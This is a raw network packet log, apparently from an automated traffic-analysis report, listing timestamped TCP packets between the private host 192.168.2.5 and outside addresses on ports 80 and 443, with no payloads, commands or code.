Oct 7, 2024 21:18:41.665263891 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.665282965 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.665286064 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.665304899 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.665328026 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.665384054 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.665405035 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.665422916 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.665426016 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.665446043 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.665448904 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.665471077 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.665481091 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.665503979 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.665515900 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.665726900 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.665747881 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.665769100 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.665786982 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.665812016 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.665904999 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.665926933 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.665946007 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.665972948 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.665986061 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.666115046 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.666148901 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.666182995 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.666198969 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.666217089 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.666225910 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.666268110 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.666274071 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.666304111 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.666320086 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.666340113 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.666347980 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.666374922 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.666392088 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.666410923 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.666424990 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.666445017 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.666460037 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.666480064 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.666486979 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.666516066 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.666549921 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.666548967 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.666567087 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.666584969 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.666619062 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.666632891 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.666655064 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.666672945 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.666693926 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.667156935 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.667191029 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.667211056 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.667222977 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.667258024 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.667290926 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.667290926 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.667296886 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.667351961 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.667351961 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.667407036 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.667408943 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.667457104 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.667521954 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.667557001 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.667588949 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.667603016 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.667623997 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.667656898 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.667670012 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.667695999 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.667707920 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.667759895 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.667794943 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.667802095 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.667810917 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.667829037 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.667833090 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.667864084 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.667869091 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.667900085 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.667912960 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.667937040 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.667949915 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.667969942 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.668004036 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.668020010 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.668039083 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.668045044 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.668080091 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.668100119 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.668114901 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.668148041 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.668256044 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.668256044 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.668602943 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.668637991 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.668657064 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.668672085 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.668682098 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.668706894 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.668740034 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.668740034 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.668740988 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.668776035 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.668821096 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.671149015 CEST	49872	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:41.671186924 CEST	443	49872	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:41.671408892 CEST	49872	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:41.675787926 CEST	49873	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:41.675822973 CEST	443	49873	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:41.675879955 CEST	49873	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:41.677937984 CEST	49874	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:41.677963972 CEST	443	49874	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:41.678011894 CEST	49874	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:41.678436995 CEST	49872	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:41.678452015 CEST	443	49872	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:41.684132099 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.684184074 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.684304953 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.684336901 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.684370041 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.684386969 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.684421062 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.684465885 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.684501886 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.684511900 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.684540033 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.684541941 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.684618950 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.684628010 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.684669018 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.684714079 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.684751034 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.684784889 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.684789896 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.684819937 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.684849024 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.684864998 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.684885025 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.684885979 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.684948921 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.685010910 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.685045004 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.685079098 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.685087919 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.685112000 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.685147047 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.685154915 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.685182095 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.685188055 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.685235023 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.685353041 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.685386896 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.685411930 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.685420990 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.685429096 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.685456991 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.685468912 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.685494900 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.685528994 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.685535908 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.685564041 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.685581923 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.685610056 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.685621023 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.685655117 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.685663939 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.685688972 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.685693979 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.685725927 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.685729980 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.685760975 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.685772896 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.685796022 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.685801983 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.685831070 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.685838938 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.685868025 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.685869932 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.685902119 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.685966969 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.688191891 CEST	49873	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:41.688220024 CEST	443	49873	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:41.688314915 CEST	49874	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:41.688328028 CEST	443	49874	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:41.697561979 CEST	443	49871	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:41.697910070 CEST	443	49871	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:41.697947979 CEST	49871	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:41.697968960 CEST	443	49871	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:41.697981119 CEST	443	49871	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:41.698015928 CEST	49871	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:41.698399067 CEST	49871	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:41.698399067 CEST	49871	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:41.698411942 CEST	443	49871	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:41.698419094 CEST	443	49871	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:41.705049992 CEST	49875	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:41.705066919 CEST	443	49875	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:41.705230951 CEST	49875	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:41.705362082 CEST	49875	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:41.705372095 CEST	443	49875	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:41.722800970 CEST	443	49870	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:41.723767996 CEST	443	49870	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:41.723834991 CEST	49870	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:41.729062080 CEST	49870	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:41.729085922 CEST	443	49870	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:41.729115009 CEST	49870	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:41.729121923 CEST	443	49870	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:41.735694885 CEST	49876	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:41.735737085 CEST	443	49876	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:41.735799074 CEST	49876	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:41.736632109 CEST	49876	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:41.736644983 CEST	443	49876	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:41.751487017 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.751528025 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.751562119 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.751585007 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.751595020 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.751621962 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.751631021 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.751646996 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.751666069 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.751671076 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.751703024 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.751710892 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.751737118 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.751743078 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.751775980 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.751780033 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.751812935 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.751816988 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.751847982 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.751879930 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.751883030 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.751899004 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.751918077 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.751951933 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.751987934 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.752058983 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.752058983 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.752058983 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.752058983 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.752150059 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.752183914 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.752217054 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.752228975 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.752238989 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.752252102 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.752266884 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.752293110 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.752294064 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.752327919 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.752341032 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.752362967 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.752374887 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.752397060 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.752405882 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.752430916 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.752441883 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.752468109 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.752474070 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.752504110 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.752511024 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.752548933 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.752680063 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.752715111 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.752748013 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.752762079 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.752783060 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.752787113 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.752834082 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.752849102 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.752867937 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.752902031 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.752912998 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.752937078 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.752959967 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.752969980 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.752984047 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.753005028 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.753010035 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.753041029 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.753047943 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.753093958 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.753220081 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.753253937 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.753268957 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.753288984 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.753300905 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.753333092 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.753359079 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.753391027 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.753402948 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.753429890 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.753511906 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.753540993 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.753573895 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.753582954 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.753683090 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.753701925 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.753716946 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.753726006 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.753751993 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.753786087 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.753798008 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.753838062 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.753871918 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.753884077 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.753906965 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.753914118 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.753941059 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.753974915 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.753981113 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.754008055 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.754041910 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.754051924 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.754076004 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.754082918 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.754110098 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.754143953 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.754153013 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.754179955 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.754228115 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.754448891 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.754482985 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.754497051 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.754518986 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.754520893 CEST	49810	80	192.168.2.5	95.164.90.97
